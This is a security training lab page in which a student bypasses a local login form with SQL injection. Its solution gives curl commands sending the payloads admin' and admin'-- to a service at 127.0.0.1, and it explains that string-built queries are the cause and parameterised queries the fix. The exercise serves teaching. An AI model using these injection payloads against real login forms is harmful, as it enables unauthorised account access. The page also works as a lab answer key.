Log in as admin
The /app/login form builds its SQL from your input. Prove it's injectable, then bypass the password check to read the admin account's secret. Save what you recover.
How it works: the terminal below is a real Linux machine running in your browser. Click it and
type. Tasks tick themselves off as you complete them; questions are answered in the box under each task.
Press Reset any time for a fresh machine. Your password on this machine (for
sudo) is student.
Solution explanation
You logged in as admin without ever knowing the password — the classic SQL injection authentication bypass. The root cause is building a query by string concatenation; the fix is parameterised queries (bind variables), which keep your input as data instead of code. sqlmap (installed here) automates finding and exploiting injection at scale once you've confirmed one by hand like this.
Show solution
cd /home/student
curl -s -d "username=admin'&password=x" http://127.0.0.1:8080/app/login
curl -s -d "username=admin'-- &password=x" http://127.0.0.1:8080/app/login -o sqli.txt
cat sqli.txt